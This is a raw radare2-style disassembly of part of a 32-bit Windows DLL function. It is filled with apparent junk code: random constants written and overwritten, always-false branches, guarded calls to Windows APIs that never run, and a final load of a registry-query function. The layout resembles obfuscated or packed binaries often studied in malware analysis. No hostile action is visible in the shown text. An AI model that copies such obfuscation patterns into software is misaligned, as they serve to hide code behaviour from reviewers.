call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jle 0x10032727
cmp dword [ebp - 0x2c], eax
jne 0x100327a5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1003271b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100327c1
push eax
push 0x1f60
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
lea ecx, [ebp - 0xfd4]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x4ec]
mov dword [ebp - 0x40], eax
push ebx
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x18
inc eax
mov dword [ebp - 0x1c], 0xfffffff8
push eax
lea ecx, [ebp - 0x740]
call fcn.10016d2b
mov byte [ebp - 4], 0x19
push 8
pop eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003283d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4ec]
call fcn.10016dc9
push 8
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032820
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10032859
push dword [ebp - 0x14]
lea ecx, [ebp - 0x740]
call fcn.10016dc9
mov dword [eax], 0x24b6
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10032842
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10032897
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0x9ec0
setne cl
xor ebx, ebx
mov dword [ebp - 0x40], ecx
inc ebx
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x4ec]
push ebx
call fcn.10016dc9
xor eax, eax
jmp 0x1003289a
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x40], eax
jne 0x100328a4
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100328bc
push ebx
lea ecx, [ebp - 0x4ec]
call fcn.10016dc9
cmp dword [eax], 0
jne 0x100328c5
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x100328c7
mov esi, eax
jmp 0x100328c9
xor eax, eax
mov esi, ebx
push eax
lea ecx, [ebp - 0x740]
call fcn.10016dc9
imul ecx, esi, 0x357f
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
cmp ebx, ecx
lea ecx, [ebp - 0x740]
sbb eax, eax
neg eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
xor eax, eax
push eax
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x4ec]
call fcn.10016dc9
cmp dword [eax], 0
jne 0x10032914
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10032916
mov eax, ebx
add eax, 6
cmp eax, 0x6cd5
jg 0x1003292c
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1003292e
inc eax
mov edi, eax
jmp 0x10032933
xor eax, eax
mov edi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x4ec]
call fcn.10016dc9
xor ecx, ecx
mov esi, eax
xor eax, eax
inc ecx
cmp edi, ecx
mov ecx, dword [ebp - 0x20]
push 0xfffffffffffffffd
setge al
xor edx, edx
cmp ecx, eax
pop eax
setge dl
cmp eax, edx
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0x740]
setge dl
xor ebx, ebx
cmp edx, dword [esi]
setge bl
xor eax, eax
push eax
call fcn.10016dc9
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
cmp ecx, 0xfffa
jne 0x100329aa
xor eax, eax
lea ecx, [ebp - 0x4ec]
push eax
call fcn.10016dc9
cmp dword [eax], 0
jne 0x100329aa
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x100329aa
xor ebx, ebx
inc ebx
jmp 0x100329af
xor ebx, ebx
inc ebx
mov eax, ebx
add eax, 0x78edd5de
lea ecx, [ebp - 0x740]
mov dword [ebp - 0x38], eax
call fcn.10016dad
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0xb
call fcn.10016dad
mov dword [ebp - 0x18], 0xc23a
lea ecx, [ebp - 0xe98]
push 2
mov dword [ebp - 0x54], 0x65425a80
xor eax, eax
pop esi
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0xd4daed0f
push esi
call fcn.10016d2b
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x28], 0xbc89
mov dword [ebp - 0x20], eax
jmp 0x10032a26
push dword [ebp - 0x20]
lea ecx, [ebp - 0xe98]
call fcn.10016dc9
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10032a0f
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub ecx, eax
je 0x10032a4e
xor eax, eax
cmp eax, dword [ebp - 0x18]
je 0x10032a5c
mov eax, ebx
jmp 0x10032a50
xor eax, eax
cmp eax, dword [ebp - 0x18]
jle 0x10032a5c
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10032a5e
mov eax, ebx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
add eax, 6
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
xor eax, eax
cmp ecx, 0x34e2e0f6
setne al
xor ecx, ecx
cmp eax, 0x369dda31
setg cl
sub ecx, dword [ebp - 0x18]
jne 0x10032a97
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10032a97
mov edx, eax
jmp 0x10032a9f
xor eax, eax
xor ebx, ebx
inc ebx
lea edx, [eax + 1]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
setge cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
xor eax, eax
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10032aec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1454], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10032ad3
xor eax, eax
inc dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
jmp 0x10032b1d
mov dword [ebp - 0x14], eax
jmp 0x10032b14
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032b11
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffc
jne 0x10032af9
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffeb
jg 0x10032af4
lea ecx, [ebp - 0xe98]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 0xd5464b5f
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0xfa5fef9d
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x1c], eax
je 0x10032b76
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10032c7a
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
jmp 0x10032c78
push esi
lea ecx, [ebp - 0x590]
call fcn.10016d2b
mov byte [ebp - 4], 0x1c
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x63a74adf
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x6f37911b
mov dword [ebp - 0x30], 0x1b16eb2d
mov dword [ebp - 0x30], 0x307976b5
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x30], 0xba966896
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
jmp 0x10032bd0
push dword [ebp - 0x20]
call fcn.10016dc9
mov dword [eax], esi
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x590]
cmp dword [ebp - 0x20], esi
jl 0x10032bc3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
push ebx
call fcn.10016dc9
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x590]
xor eax, eax
push eax
call fcn.10016dc9
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x590]
push ebx
call fcn.10016dc9
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10032c63
mov dword [ebp - 0x30], 0x1480146
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xbe74fd57
mov dword [ebp - 0x54], 0xfffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032c5d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x590]
call fcn.10016dc9
mov dword [eax], 0xeffb91e6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032c3f
xor eax, eax
dec dword [ebp - 0x54]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff0
jl 0x10032c1f
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0xb
call fcn.10016dad
xor eax, eax
mov dword [ebp - 0x24], 0xe30f4aed
xor ecx, ecx
mov dword [ebp - 0x28], 0xe58b
mov dword [ebp - 0x30], 0x452a26f3
mov dword [ebp - 0x54], 0x41637c1d
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x54], 9
mov eax, dword [ebp - 0x54]
cmp eax, 0xb0a
setle cl
imul ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10032cee
push eax
push 0x1d6f
push 0x19b4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
mov dword [ebp - 0x34], 0x97f6af11
push 5
mov dword [ebp - 0x54], edi
pop esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], 0x16
cmp dword [ebp - 0x34], 0xfffffff1
jne 0x10032db6
jmp 0x10032d13
xor eax, eax
mov dword [ebp - 0x40], edi
push 8
mov dword [ebp - 0x54], eax
pop ecx
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032d35
push ebx
push 0x1011
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x34]
cmp eax, 0x356a
jl 0x10032d45
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], 0x74be76d2
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x40]
jne 0x10032d74
cmp dword [ebp - 0x34], eax
jne 0x10032d74
mov ecx, eax
jmp 0x10032d7c
xor eax, eax
xor ebx, ebx
inc ebx
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
cmp eax, 0x9c5a
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setge al
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff1
je 0x10032d11
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10032dca
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x650], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10032dbd
mov dword [ebp - 0x14], 9
mov dword [ebp - 0x40], 0x11d962ee
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10032eab
mov dword [ebp - 0xa78], eax
mov dword [ebp - 0xa74], eax
mov dword [ebp - 0xa70], eax
mov dword [ebp - 0xa6c], eax
mov dword [ebp - 0x40], 3
cmp dword [ebp - 0x40], eax
jl 0x10032ea5
push ebx
lea ecx, [ebp - 0x7f0]
call fcn.10016d2b
xor eax, eax
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x20], eax
jmp 0x10032e43
push dword [ebp - 0x20]
call fcn.10016dc9
xor ecx, ecx
inc ecx
mov dword [eax], ecx
inc dword [ebp - 0x20]
xor eax, eax
lea ecx, [ebp - 0x7f0]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10032e33
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0xa78]
xor eax, eax
push eax
call fcn.10016dc9
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0xa78]
cmp ecx, 0x64a9
lea ecx, [ebp - 0x7f0]
sete dl
mov dword [eax], edx
xor eax, eax
push eax
call fcn.10016dc9
lea ecx, [ebp - 0x7f0]
mov byte [ebp - 4], 0xb
call fcn.10016dad
dec dword [ebp - 0x40]
push 1
pop ebx
jns 0x10032e1c
xor eax, eax
inc dword [ebp - 0x14]
push 1
pop ebx
cmp dword [ebp - 0x14], 0x24
jle 0x10032df4
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
push 6
pop edx
cmp eax, edx
push 0xfffffffffffffff6
setl cl
xor eax, eax
mov dword [ebp - 0x648], ecx
mov dword [ebp - 0x38], ecx
pop ecx
mov dword [ebp - 0x18], 0x8901f2c
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], eax
push 2
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xaf0]
pop ebx
mov dword [ebp - 0x30], 0x8172882c
push ebx
call fcn.10016d2b
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x54], 0xcfb31df9
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10032f33
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x148], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10032f1f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10032f53
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x840], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10032f3b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10032f79
push dword [ebp - 0x18]
lea ecx, [ebp - 0xaf0]
call fcn.10016dc9
mov dword [eax], 0x171c63cc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10032f5b
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10033199
push 3
lea ecx, [ebp - 0x254]
call fcn.10016d2b
mov byte [ebp - 4], 0x1f
xor eax, eax
mov dword [ebp - 0x54], 0x7f28a996
mov dword [ebp - 0x20], eax
jmp 0x10032fb8
push dword [ebp - 0x20]
call fcn.10016dc9
mov dword [eax], 0xe665969a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
lea ecx, [ebp - 0x254]
jl 0x10032fa7
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
push 2
mov esi, dword [ebp + eax*4 - 0x148]
call fcn.10016dc9
push ebx
lea ecx, [ebp - 0x254]
mov dword [eax], esi
call fcn.10016dc9
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x148]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp eax, ebx
setle cl
cmp edx, ecx
jl 0x10033027
push ebx
lea ecx, [ebp - 0xaf0]
call fcn.10016dc9
mov ecx, dword [ebp - 0x2c]
xor edx, edx
dec dword [eax]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x83c], ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
cmp edx, 0xffff
jne 0x100331dc
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100331dc
cmp dword [ebp - 0x18], eax
jne 0x100331dc
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
xor eax, eax
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], eax
jne 0x10033211
cmp dword [ebp - 0x3c], eax
jne 0x10033211
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
add ecx, 0xf05c92a8
mov eax, 0xcf75bae5
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
lea ecx, [ebp - 0xaf0]
mov dword [ebp - 0x38], eax
call fcn.10016dad
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x648], eax
jne 0x10033251
xor edi, edi
inc edi
or esi, 0xffffffff
lea ecx, [ebp - 0x418]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
lea ecx, [ebp - 0x450]
call fcn.10016d2b
mov dword [ebp - 4], 0x20
push 0xfffffffffffffffd
mov dword [ebp - 0x44], 0x91b68dee
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], 0x47d228d5
push 2
mov dword [ebp - 0x1c], 0xfffffff7
pop ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x4c], 0x6899db22
mov dword [ebp - 0x20], eax
jmp 0x10033314
push dword [ebp - 0x20]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
lea ecx, [ebp - 0x450]
jl 0x10033306
push 3
call fcn.10016dc9
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100333af
push 3
lea ecx, [ebp - 0x450]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10033377
mov dword [ebp - 0x14], edi
lea ecx, [ebp - 0x450]
push 3
call fcn.10016dc9
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, dword [eax]
setge dl
xor eax, eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
je 0x10033375
mov eax, edi
jmp 0x10033377
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x450]
push ebx
call fcn.10016dc9
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ecx, 0x86f2
setl dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x450]
push eax
call fcn.10016dc9
mov eax, dword [ebp - 0x1c]
push 3
lea ecx, [ebp - 0x450]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x100333cc
cmp dword [ebp - 0x28], eax
jne 0x100333cc
mov edx, eax
jmp 0x100333d1
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xfffffff7
jg 0x10033405
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100334bd
push 0x32c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
jmp 0x100334bd
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 0xe30f4aed
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10033435
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x5a8], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10033422
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 6
setl cl
mov dword [ebp - 0x5a0], ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x5a0], eax
jne 0x1003345f
cmp dword [ebp - 0x28], eax
jne 0x1003345f
mov ecx, eax
jmp 0x10033464
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x5a4]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5a0]
setge cl
imul ecx, eax
mov eax, dword [ebp - 0x4c]
imul eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x5a8], eax
jne 0x100334b4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 4], esi
call fcn.10016dad
push 4
pop edi
push edi
lea ecx, [ebp - 0x428]
call fcn.10016d2b
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x44], 0x91b68dee
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], 0x47d228d5
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x4c], 0x6899db22
mov dword [ebp - 0x20], eax
jmp 0x1003351b
push dword [ebp - 0x20]
call fcn.10016dc9
and dword [eax], 0
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x428]
cmp dword [ebp - 0x20], edi
jl 0x1003350d
push 3
call fcn.10016dc9
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100335bb
push 3
lea ecx, [ebp - 0x428]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10033583
xor ebx, ebx
lea ecx, [ebp - 0x428]
inc ebx
mov dword [ebp - 0x14], ebx
push 3
call fcn.10016dc9
mov ecx, dword [ebp - 0x14]
xor edx, edx
push 2
cmp ecx, dword [eax]
setge dl
xor eax, eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
je 0x10033580
mov eax, ebx
jmp 0x10033582
xor eax, eax
pop ebx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x428]
push ebx
call fcn.10016dc9
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ecx, 0x86f2
setl dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x428]
push eax
call fcn.10016dc9
mov eax, dword [ebp - 0x1c]
push 3
pop ebx
push ebx
lea ecx, [ebp - 0x428]
call fcn.10016dc9
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x100335da
cmp dword [ebp - 0x28], eax
jne 0x100335da
mov edx, eax
jmp 0x100335df
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xfffffff7
jg 0x10033613
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100336c1
push 0x32c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
jmp 0x100336c1
mov dword [ebp - 0x38], 0xfffffffb
xor edx, edx
mov dword [ebp - 0x3c], eax
inc edx
mov dword [ebp - 0x28], 0xe30f4aed
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1003363e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x608], edx
inc dword [ebp - 0x20]
jmp 0x1003362a
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 6
setl cl
mov dword [ebp - 0x600], ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x600], eax
jne 0x10033666
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10033668
mov ecx, edx
mov eax, dword [ebp - 0x604]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x600]
setge cl
imul ecx, eax
mov eax, dword [ebp - 0x4c]
imul eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x608], eax
jne 0x100336b8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x428]
mov dword [ebp - 4], esi
call fcn.10016dad
push edi
lea ecx, [ebp - 0x2a8]
call fcn.10016d2b
mov dword [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x34], 0x22ba3946
mov dword [ebp - 0x14], 0xc15d0d65
mov dword [ebp - 0x54], 0x6e1580eb
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1003371f
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2a8]
call fcn.10016dc9
mov dword [eax], 0xffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10033701
xor eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10033910
jmp 0x10033735
xor eax, eax
mov dword [ebp - 0x20], 0x92eda8ed
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x14], eax
push dword [ebp - 0x34]
call fcn.10016dc9
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2a8]
mov esi, eax
call fcn.10016dc9
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x14]
setg dl
imul eax, edx
test eax, eax
je 0x10033876
xor ebx, ebx
mov dword [ebp - 0x3c], 4
inc ebx
xor eax, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x1003388d
mov dword [ebp - 0x20], 0xb44cf59
cmp dword [ebp - 0x20], eax
je 0x10033854
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a8]
call fcn.10016dc9
cmp dword [eax], 0
je 0x10033852
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10033827
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a8]
call fcn.10016dc9
cmp dword [eax], 0
jne 0x100337ef
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x2a8]
push 2
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a8]
call fcn.10016dc9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a8]
call fcn.10016dc9
xor eax, eax
lea ecx, [ebp - 0x2a8]
push eax
